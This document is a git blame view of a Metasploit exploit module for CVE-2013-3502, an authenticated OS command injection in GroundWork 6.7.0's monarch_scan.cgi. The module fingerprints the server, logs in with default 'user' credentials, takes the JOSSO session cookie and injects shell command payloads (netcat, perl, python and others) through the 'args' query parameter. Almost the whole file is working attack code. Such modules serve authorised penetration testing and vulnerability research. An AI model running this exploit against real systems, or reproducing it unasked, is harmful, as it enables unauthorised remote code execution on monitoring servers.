Files
metasploit-gs/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

133 lines
4.2 KiB
Ruby
Raw Normal View History

2013-04-23 19:09:28 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-04-23 19:09:28 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-04-23 19:09:28 -05:00
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }
include Msf::Exploit::Remote::HttpClient
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "GroundWork monarch_scan.cgi OS Command Injection",
'Description' => %q{
2013-04-23 19:09:28 -05:00
This module exploits a vulnerability found in GroundWork 6.7.0. This software
2025-06-20 13:20:44 +01:00
is used for network, application and cloud monitoring. The vulnerability exists in
the monarch_scan.cgi where user controlled input is used in the perl qx function.
This allows any remote authenticated attacker, regardless of privileges, to
inject system commands and gain arbitrary code execution. The module has been tested
successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
based VM appliance.
},
'License' => MSF_LICENSE,
'Author' => [
2013-04-23 19:09:28 -05:00
'Johannes Greil', # Vulnerability Discovery, PoC
2025-06-20 13:20:44 +01:00
'juan vazquez' # Metasploit module
2013-04-23 19:09:28 -05:00
],
2025-06-20 13:20:44 +01:00
'References' => [
2013-06-25 02:06:20 -05:00
[ 'CVE', '2013-3502' ],
[ 'OSVDB', '91051' ],
2013-04-23 19:09:28 -05:00
[ 'US-CERT-VU', '345260' ],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
],
2025-06-20 13:20:44 +01:00
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 8190,
2013-04-23 19:09:28 -05:00
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'Compat' =>
{
'PayloadType' => 'cmd',
# Based on the default Ubuntu 10.04 VM appliance
'RequiredCmd' => 'generic telnet netcat perl python'
},
2013-04-23 19:09:28 -05:00
},
2025-06-20 13:20:44 +01:00
'Platform' => %w{linux unix},
'Targets' => [
2013-04-23 19:09:28 -05:00
['GroundWork 6.7.0', {}]
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2013-03-08',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-04-23 19:09:28 -05:00
2025-06-20 13:20:44 +01:00
register_options(
[
OptString.new('USERNAME', [true, 'GroundWork Username', 'user']),
OptString.new('PASSWORD', [true, 'GroundWork Password', 'user'])
]
)
2013-04-23 19:09:28 -05:00
end
def check
res = send_request_cgi({
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri("josso", "signon", "login.do")
2013-04-23 19:09:28 -05:00
})
if res and res.body =~ /GroundWork.*6\.7\.0/
return Exploit::CheckCode::Appears
elsif res and res.body =~ /GroundWork/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def get_josso_token
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'POST',
'uri' => normalize_uri("josso", "signon", "usernamePasswordLogin.do"),
2013-04-23 19:09:28 -05:00
'vars_post' => {
2025-06-20 13:20:44 +01:00
'josso_cmd' => 'login',
2013-04-23 19:09:28 -05:00
'josso_username' => datastore['USERNAME'],
'josso_password' => datastore['PASSWORD']
}
})
2014-05-13 22:56:12 +02:00
if res and res.get_cookies =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
2013-04-23 19:09:28 -05:00
return $1
else
return nil
end
end
def execute_command(command)
http_handler = ((datastore['SSL']) ? "https" : "http")
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri("monarch", "monarch_scan.cgi"),
'headers' =>
2013-04-23 19:09:28 -05:00
{
'Referer' => "#{http_handler}://#{rhost}/portal/auth/portal/groundwork-monitor/auto-disc"
},
2025-06-20 13:20:44 +01:00
'cookie' => "JOSSO_SESSIONID=#{@josso_id}",
'query' => "args=#{rand_text_alpha(3)}&args=#{rand_text_alpha(3)}&args=#{Rex::Text.uri_encode(command + ";")}"
2013-04-23 19:09:28 -05:00
})
return res
end
def exploit
peer = "#{rhost}:#{rport}"
2016-02-01 15:12:03 -06:00
print_status("Attempting to login...")
2013-04-23 19:09:28 -05:00
@josso_id = get_josso_token
if @josso_id.nil?
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID")
2013-04-23 19:09:28 -05:00
end
2016-02-01 15:12:03 -06:00
print_good("Authentication successful")
2013-04-23 19:09:28 -05:00
2016-02-01 15:12:03 -06:00
print_status("Sending malicious request...")
2013-04-23 19:09:28 -05:00
execute_command(payload.encoded)
end
end